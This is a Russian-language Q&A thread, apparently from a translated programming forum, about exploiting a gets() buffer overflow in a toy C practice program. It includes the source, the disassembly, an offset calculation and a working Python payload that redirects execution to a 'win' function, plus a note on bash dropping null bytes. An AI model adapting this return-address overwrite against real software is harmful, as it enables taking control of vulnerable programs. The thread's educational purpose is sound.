Переполнение буфера: перезаписать CH - PullRequest
0 голосов
/ 19 сентября 2019

У меня есть программа, которая уязвима для переполнения буфера.Уязвимая функция принимает 2 аргумента.Первый стандарт 4 байта.Для второго, однако, программа выполняет следующее:

xor ch, 0
...
cmp     dword ptr [ebp+10h], 0F00DB4BE

Теперь, если я предоставлю 2 разных 4-байтовых аргумента, как часть моего эксплойта, то есть ABCDEFGH (предположим, ABCD - первый аргумент, EFGH второй), CH становится G.Поэтому, естественно, я подумал о создании следующего (предположим, ABCD правильно):

ABCD\x00\x0d\x00\x00

Однако, что происходит, так это то, что нуль-биты, кажется, игнорируются!Отправка вышеуказанных результатов в CH = 0 и CL = 0xd.Это происходит независимо от того, куда я положил \x0d, то есть:

ABCD\x0d\x00\x00\x00 ABCD\x00\x0d\x00\x00 ABCD\x00\x00\x0d\x00 ABCD\x00\x00\x00\x0d

- все приводит к такому же поведению.

Как я могу перейти только к перезаписи CH, оставив остаток ECX как ноль?

РЕДАКТИРОВАТЬ: см. Мой собственный ответ ниже.Короче говоря, bash игнорирует нулевые байты и частично объясняет, почему эксплойт не работал локально.Точную причину можно найти здесь .Спасибо Michael Petch за указание на это!

Источник:

#include <stdio.h>
#include <stdlib.h>

void win(long long arg1, int arg2)
{
    if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
    {
        puts("Close, but not quite.");
        exit(1);
    }

    printf("You win!\n");

}

void vuln()
{
    char buf[16];
    printf("Type something>");
    gets(buf);
    printf("You typed %s!\n", buf);
}

int main()
{
    /* Disable buffering on stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln();
    return 0;
}

Соответствующая часть разборки исполняемого файла objdump:

080491c2 <win>:
 80491c2:       55                      push   %ebp
 80491c3:       89 e5                   mov    %esp,%ebp
 80491c5:       81 ec 28 01 00 00       sub    $0x128,%esp
 80491cb:       8b 4d 08                mov    0x8(%ebp),%ecx
 80491ce:       89 8d e0 fe ff ff       mov    %ecx,-0x120(%ebp)
 80491d4:       8b 4d 0c                mov    0xc(%ebp),%ecx
 80491d7:       89 8d e4 fe ff ff       mov    %ecx,-0x11c(%ebp)
 80491dd:       8b 8d e0 fe ff ff       mov    -0x120(%ebp),%ecx
 80491e3:       81 f1 55 da b4 14       xor    $0x14b4da55,%ecx
 80491e9:       89 c8                   mov    %ecx,%eax
 80491eb:       8b 8d e4 fe ff ff       mov    -0x11c(%ebp),%ecx
 80491f1:       80 f5 00                xor    $0x0,%ch
 80491f4:       89 ca                   mov    %ecx,%edx
 80491f6:       09 d0                   or     %edx,%eax
 80491f8:       85 c0                   test   %eax,%eax
 80491fa:       75 09                   jne    8049205 <win+0x43>
 80491fc:       81 7d 10 be b4 0d f0    cmpl   $0xf00db4be,0x10(%ebp)
 8049203:       74 1a                   je     804921f <win+0x5d>
 8049205:       83 ec 0c                sub    $0xc,%esp
 8049208:       68 08 a0 04 08          push   $0x804a008
 804920d:       e8 4e fe ff ff          call   8049060 <puts@plt>
 8049212:       83 c4 10                add    $0x10,%esp
 8049215:       83 ec 0c                sub    $0xc,%esp
 8049218:       6a 01                   push   $0x1
 804921a:       e8 51 fe ff ff          call   8049070 <exit@plt>
 804921f:       83 ec 0c                sub    $0xc,%esp
 8049222:       68 1e a0 04 08          push   $0x804a01e
 8049227:       e8 34 fe ff ff          call   8049060 <puts@plt>
 804922c:       83 c4 10                add    $0x10,%esp
 804922f:       83 ec 08                sub    $0x8,%esp
 8049232:       68 27 a0 04 08          push   $0x804a027
 8049237:       68 29 a0 04 08          push   $0x804a029
 804923c:       e8 5f fe ff ff          call   80490a0 <fopen@plt>
 8049241:       83 c4 10                add    $0x10,%esp
 8049244:       89 45 f4                mov    %eax,-0xc(%ebp)
 8049247:       83 7d f4 00             cmpl   $0x0,-0xc(%ebp)
 804924b:       75 12                   jne    804925f <win+0x9d>
 804924d:       83 ec 0c                sub    $0xc,%esp
 8049250:       68 34 a0 04 08          push   $0x804a034
 8049255:       e8 06 fe ff ff          call   8049060 <puts@plt>
 804925a:       83 c4 10                add    $0x10,%esp
 804925d:       eb 31                   jmp    8049290 <win+0xce>
 804925f:       83 ec 04                sub    $0x4,%esp
 8049262:       ff 75 f4                pushl  -0xc(%ebp)
 8049265:       68 00 01 00 00          push   $0x100
 804926a:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049270:       50                      push   %eax
 8049271:       e8 da fd ff ff          call   8049050 <fgets@plt>
 8049276:       83 c4 10                add    $0x10,%esp
 8049279:       83 ec 08                sub    $0x8,%esp
 804927c:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049282:       50                      push   %eax
 8049283:       68 86 a0 04 08          push   $0x804a086
 8049288:       e8 a3 fd ff ff          call   8049030 <printf@plt>
 804928d:       83 c4 10                add    $0x10,%esp
 8049290:       90                      nop
 8049291:       c9                      leave
 8049292:       c3                      ret

08049293 <vuln>:
 8049293:       55                      push   %ebp
 8049294:       89 e5                   mov    %esp,%ebp
 8049296:       83 ec 18                sub    $0x18,%esp
 8049299:       83 ec 0c                sub    $0xc,%esp
 804929c:       68 90 a0 04 08          push   $0x804a090
 80492a1:       e8 8a fd ff ff          call   8049030 <printf@plt>
 80492a6:       83 c4 10                add    $0x10,%esp
 80492a9:       83 ec 0c                sub    $0xc,%esp
 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt>
 80492b5:       83 c4 10                add    $0x10,%esp
 80492b8:       83 ec 08                sub    $0x8,%esp
 80492bb:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492be:       50                      push   %eax
 80492bf:       68 a0 a0 04 08          push   $0x804a0a0
 80492c4:       e8 67 fd ff ff          call   8049030 <printf@plt>
 80492c9:       83 c4 10                add    $0x10,%esp
 80492cc:       90                      nop
 80492cd:       c9                      leave
 80492ce:       c3                      ret

080492cf <main>:
 80492cf:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80492d3:       83 e4 f0                and    $0xfffffff0,%esp
 80492d6:       ff 71 fc                pushl  -0x4(%ecx)
 80492d9:       55                      push   %ebp
 80492da:       89 e5                   mov    %esp,%ebp
 80492dc:       51                      push   %ecx
 80492dd:       83 ec 04                sub    $0x4,%esp
 80492e0:       a1 34 c0 04 08          mov    0x804c034,%eax
 80492e5:       6a 00                   push   $0x0
 80492e7:       6a 02                   push   $0x2
 80492e9:       6a 00                   push   $0x0
 80492eb:       50                      push   %eax
 80492ec:       e8 9f fd ff ff          call   8049090 <setvbuf@plt>
 80492f1:       83 c4 10                add    $0x10,%esp
 80492f4:       e8 9a ff ff ff          call   8049293 <vuln>
 80492f9:       b8 00 00 00 00          mov    $0x0,%eax
 80492fe:       8b 4d fc                mov    -0x4(%ebp),%ecx
 8049301:       c9                      leave
 8049302:       8d 61 fc                lea    -0x4(%ecx),%esp
 8049305:       c3                      ret

Ответы [ 2 ]

2 голосов
/ 19 сентября 2019

Неясно, почему вы зависаете со значением в ECX или с инструкцией xor ch, 0 внутри функции win.Из кода C ясно, что проверка на выигрыш требует, чтобы 64-битное (long long) arg1 было 0x14B4DA55, а arg2 было 0xF00DB4BE.Когда это условие выполнено, оно напечатает You win!

. Нам нужен какой-то буферный эксплойт, способный выполнить функцию win и создать впечатление, что ему передается первый аргумент (64-бит long long) и 32-битный int в качестве второго параметра.

Наиболее очевидный способ выполнить это - переопределение buf в функции vuln, которая стратегически перезаписывает адрес возврата и заменяетэто с адресом win.В разобранном виде win находится на 0x080491c2.Нам понадобится записать 0x080491c2, за которым следует некоторое фиктивное значение для адреса возврата, затем 64-битное значение 0x14B4DA55 (такое же, как 0x0000000014B4DA55), за которым следует 32-битное значение 0xF00DB4BE.

Фиктивное значение для возвратаАдрес нужен, потому что нам нужно смоделировать вызов функции в стеке.Мы не будем выдавать инструкцию call, поэтому нам нужно, чтобы она выглядела так, как если бы она была выполнена.Цель состоит в том, чтобы напечатать You win! независимо от того, происходит ли сбой программы после этого.

Адрес возврата (win), arg1 и arg2 должен храниться как байты вобратный порядок, поскольку процессоры x86 имеют младший порядок байтов.

Последний большой вопрос - сколько байт нам нужно передать в gets, чтобы переполнить буфер для достижения адреса возврата?Вы можете использовать метод проб и ошибок (bruteforce), чтобы выяснить это, но мы можем взглянуть на разбор вызова для gets:

 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt

LEA используетсявычислить адрес (эффективный адрес) buf в стеке и передать его в качестве первого аргумента gets.0x18 - 24 байта (десятичное число).Хотя длина buf была определена как 16 байтов, компилятор также выделил дополнительное пространство для выравнивания.Мы должны добавить еще 4 байта, чтобы учесть тот факт, что пролог функции поместил EBP в стек.Это всего 28 байтов (24 + 4) для достижения позиции адреса возврата в стеке.

Использование PYTHON для генерации входной последовательности является обычным явлением во многих руководствах.Непосредственное встраивание символов NUL (\0) в строку оболочки может привести к тому, что программа оболочки преждевременно завершит строку в байте NUL (проблема , которая возникает у людей при использовании BASH ).Мы можем передать последовательность байтов в нашу программу, используя что-то вроде:

python -c 'print "A"*28+"\xc2\x91\x04\x08" \
    +"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname

Где progname - имя вашего исполняемого файла.При запуске он должен выглядеть примерно так:

Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault

Примечание: 4 символа, составляющие адрес возврата между A и BОни недоступны для печати, поэтому они не отображаются в выводе консоли, но они по-прежнему присутствуют, как и все другие непечатаемые символы.

0 голосов
/ 24 сентября 2019

В качестве ограниченного ответа на мой собственный вопрос, в частности, относительно того, почему игнорируются нулевые байты:

Похоже, что проблема с bash игнорирует нулевые байты

Многиедругие мои коллеги столкнулись с той же проблемой при написании эксплойта.Он будет работать на сервере, но не локально, например, при использовании gdb.Bash просто игнорирует нуль-байты и, таким образом, \x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0 будет читаться как \x55\xda\xb4\x14\xbe\xb4\x0d\xf0.Точная причина, по которой он так себя ведет, до сих пор ускользает от меня, но об этом стоит помнить!

...